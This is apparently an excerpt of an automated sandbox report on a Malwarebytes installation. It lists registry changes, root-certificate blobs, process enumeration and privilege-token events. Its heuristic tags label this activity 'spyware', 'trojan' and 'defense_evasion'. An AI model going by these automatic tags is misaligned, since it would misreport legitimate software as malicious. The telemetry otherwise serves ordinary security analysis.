Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C7BCC13C-47B9-4DC0-8FC6-B2A489EF60EF}\TypeLib\Version = "1.0"	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2FB37514-21FA-4B2C-94DA-1562126E9F5F}\TypeLib	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{61DF8ACF-EC61-4D69-A543-20EA450E1A84}\TypeLib	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{580243BF-3CEE-4131-A599-C6FED66BEB1B}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\mbamservice.exe\""	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{1E3F0FEC-3E40-4137-8C7D-090AFA9B6C5E}\TypeLib	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{237E618C-D739-4C8A-9F72-5CD4EF91CBE5}\TypeLib\Version = "1.0"	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DC97FF29-5CE2-4897-8175-94672057E02D}\ProxyStubClsid32	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MB.PoliciesController.1\CLSID\ = "{9D372F21-E6DA-4B82-881A-79F6CA6B6AE1}"	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{237E618C-D739-4C8A-9F72-5CD4EF91CBE5}	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{1097B101-1FF8-4DD8-A6C1-6C39FB2EA5D6}	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{9704115C-F54E-4D64-8554-0CAF8BF33B1B}\TypeLib\Version = "1.0"	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{118F4330-CAF5-4A54-ABB0-DC936669ED2F}\ProxyStubClsid32	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{79CAE9D0-99AA-4FEB-B6B1-1AC1A2D8F874}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{D4215DAB-7574-44DE-8BE9-78CC62597C95}	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{2446F405-83F0-460F-B837-F04540BB330C}\1.0\HELPDIR	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{6C1047E9-9ADC-4F8A-8594-036375F53103}\ProxyStubClsid32	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8D488C7C-023D-4561-B377-DD9FB7124326}\ProxyStubClsid32	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2650A9C4-A53C-4BEF-B766-7405B4D5562B}\TypeLib	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{251AD013-20AD-4C3F-8FE2-F66A429B4819}\ProgID\ = "MB.LogController.1"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{8307A4A5-A025-438B-B23B-8EE38A453D54}\TypeLib\ = "{332AFEBA-9341-4CEC-8EA6-DB155A99DF63}"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{A583D5DD-F005-4D17-B564-5B594BB58339}\TypeLib\ = "{0E2822AB-0447-4F28-AF4C-FFDB1E8595AE}"	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MB.MBAMServiceController\CurVer	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{63A6AB57-4679-4529-B78D-143547B22799}\ = "_ICleanControllerEventsV2"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{53260A87-5F77-4449-95F1-77A210A2A6D8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{76AD4430-9C5C-4FC2-A15F-4E16ACD735AC}\TypeLib\Version = "1.0"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E1BA0B73-14BD-4C9D-98CA-99355BD4EB24}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00A73BC0-754E-44E1-B190-D59E187A5EA1}\ProxyStubClsid32	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{239C7555-993F-4071-9081-D2AE0B590D63}\TypeLib\Version = "1.0"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{172ABF99-1426-47CA-895B-092E23728E8A}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{61DF8ACF-EC61-4D69-A543-20EA450E1A84}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B9442AA1-AEB8-4FB4-B998-BFBC37BA8A99}\TypeLib\ = "{59DBD1B8-A7BD-4322-998F-41B0D2516FA0}"	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{78E69E6F-EC12-4B84-8431-1D68572C7A61}\ProxyStubClsid32	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C2E404A3-4E3F-4094-AE06-5E38D39B79AE}\ProxyStubClsid32	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{77AD284A-4686-413D-AA76-BDFC1DF52A19}	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F415899A-1576-4C8B-BC9F-4854781F8A20}\LocalServer32\ = "\"C:\\Program Files\\Malwarebytes\\Anti-Malware\\mbamservice.exe\""	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DD3CFEBD-3B8E-4651-BB7C-537D1F03E59C}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{46AEAC9A-C091-4B63-926C-37CFBD9D244F}	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{ECDAC35E-72BB-4856-97E1-226BA47C62C5}	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B5186B66-AE3D-4EC4-B9F5-67EC478625BE}\TypeLib\ = "{49F6AC60-2104-42C6-8F71-B3916D5AA732}"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{EA248A19-F84E-4407-ADD3-8563AFD81269}\TypeLib\Version = "1.0"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F1E58D1A-2918-4508-908A-601219B2CCC6}\ = "IArwControllerEventsV4"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{3A34647B-D9A8-40D9-B563-F9461E98030E}\ = "IUpdateControllerV8"	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F415899A-1576-4C8B-BC9F-4854781F8A20}\ProgID	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{278637DA-FDFB-45C7-8CD8-F2D8A9199AB0}\VersionIndependentProgID	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{4A9108FB-A377-47EC-96E3-3CB8B1FB7272}\TypeLib	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F6D29500-933C-447C-9D88-9D814AF73808}	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{31A02CB9-6064-4A3B-BCB4-A329528D4648}\TypeLib\Version = "1.0"	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{239C7555-993F-4071-9081-D2AE0B590D63}\ProxyStubClsid32	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{172ABF99-1426-47CA-895B-092E23728E8A}\ProxyStubClsid32	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{FC34538A-37CB-44B4-9264-533E9347BB40}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3A34647B-D9A8-40D9-B563-F9461E98030E}\TypeLib\ = "{74630AE8-C170-4A8F-A90A-F42D63EFE1E8}"	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{332AFEBA-9341-4CEC-8EA6-DB155A99DF63}\1.0\0\win64	mbamservice.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{D57ACF19-30E3-4B7E-BCDD-6EEB8E57AF27}	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0DB6AD16-564C-451A-A173-0F31A62B7A4D}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	mbamservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7F95C137-46FC-42FB-A66A-F0482F3C749C}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	mbamservice.exe

Modifies system certificate store 2 TTPs 11 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\Certificates	mbamservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\CTLs	mbamservice.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\9E99A48A9960B14926BB7F3B02E22DA2B0AB7280\Blob = 0300000001000000140000009e99a48a9960b14926bb7f3b02e22da2b0ab72801400000001000000140000009c5f00dfaa01d7302b3888a2b86d4a9cf2119183040000000100000010000000c6150925cfea5941ddc7ff2a0a5066920f00000001000000200000008408d5e5010ab8da67eb33a7d79ace944dd0ac103ae6ead3ff30dec571066b0319000000010000001000000014d4b19434670e6dc091d154abb20edc5c000000010000000400000000080000180000000100000010000000fd960962ac6938e0d4b0769aa1a64e26200000000100000079040000308204753082035da003020102020900a70e4a4c3482b77f300d06092a864886f70d01010b05003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3039303930323030303030305a170d3334303632383137333931365a308198310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e313b303906035504031332537461726669656c6420536572766963657320526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100d50c3ac42af94ee2f5be19975f8e8853b11f3fcbcf9f20136d293ac80f7d3cf76b763863d93660a89b5e5c0080b22f597ff687f9254386e7691b529a90e171e3d82d0d4e6ff6c849d9b6f31a56ae2bb67414ebcffb26e31aba1d962e6a3b5894894756ff25a093705383da847414c3679e04683adf8e405a1d4a4ecf43913be756d60070cb52ee7b7dae3ae7bc31f945f6c260cf1359022b80cc3447dfb9de90656d02cf2c91a6a6e7de8518497c664ea33a6da9b5ee342eba0d03b833df47ebb16b8d25d99bce81d1454632967087de020e494385b66c73bb64ea6141acc9d454df872fc722b226cc9f5954689ffcbe2a2fc4551c75406017850255398b7f050203010001a381f03081ed300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604149c5f00dfaa01d7302b3888a2b86d4a9cf2119183301f0603551d23041830168014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7304f06082b0601050507010104433041301c06082b060105050730018610687474703a2f2f6f2e7373322e75732f302106082b060105050730028615687474703a2f2f782e7373322e75732f782e63657230260603551d1f041f301d301ba019a0178615687474703a2f2f732e7373322e75732f722e63726c30110603551d20040a300830060604551d2000300d06092a864886f70d01010b05000382010100231de38a57ca7de917794cf11e55fdcc536e3e470fdfc655f2b20436ed801f53c45d34286bbec755fc67eacb3f7f90b233cd1b58108202f8f82ff51360d405cef18108c1dda775974f18b96ddef7939108ba7e402cedc1eabb769e3306771d0d087f53dd1b64ab8227f169d54d5eaef4a1c375a758442df23c7098acba69b695777f0f315e2cfca0873a4769f0795ff41454a4955e1178126027ce9fc277ff2353775dbaffea59e7dbcfaf9296ef249a35107a9c91c60e7d99f63f19dff57254e115a907597b83bf522e468cb20064761c48d3d879e86e56ccae2c0390d7193899e4ca09195bff0796b0a87f3449df56a9f7b05fed33ed8c47b730035df4038c	mbamtray.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 0f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb6587f0000000100000016000000301406082b0601050507030306082b06010505070304140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d777e00000001000000080000000080826f22e7dc01030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a2000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	mbamtray.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a7e00000001000000080000000080826f22e7dc011d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e77f0000000100000016000000301406082b0601050507030306082b060105050703046200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb65809000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6502000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	mbamtray.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\CRLs	mbamservice.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\9E99A48A9960B14926BB7F3B02E22DA2B0AB7280	mbamtray.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	mbamtray.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb6587f0000000100000016000000301406082b0601050507030306082b06010505070304140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d777e00000001000000080000000080826f22e7dc01030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a190000000100000010000000fd960962ac6938e0d4b0769aa1a64e262000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	mbamtray.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 5c000000010000000400000000080000190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a7e00000001000000080000000080826f22e7dc011d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e77f0000000100000016000000301406082b0601050507030306082b060105050703046200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb65809000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650040000000100000010000000324a4bbbc863699bbe749ac6dd1d46242000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	mbamtray.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\SPC	mbamservice.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3736	mbamtray.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
3172	powershell.exe
3172	powershell.exe
2512	powershell.exe
2512	powershell.exe
2512	powershell.exe
2512	powershell.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
3736	mbamtray.exe
3736	mbamtray.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
4360	mbamservice.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe

Suspicious behavior: LoadsDriver 9 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	3420	7z.exe
Token: 35	3420	7z.exe
Token: SeSecurityPrivilege	3420	7z.exe
Token: SeSecurityPrivilege	3420	7z.exe
Token: SeRestorePrivilege	4396	7z.exe
Token: 35	4396	7z.exe
Token: SeSecurityPrivilege	4396	7z.exe
Token: SeSecurityPrivilege	4396	7z.exe
Token: SeDebugPrivilege	3172	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: 33	2504	mbamservice.exe
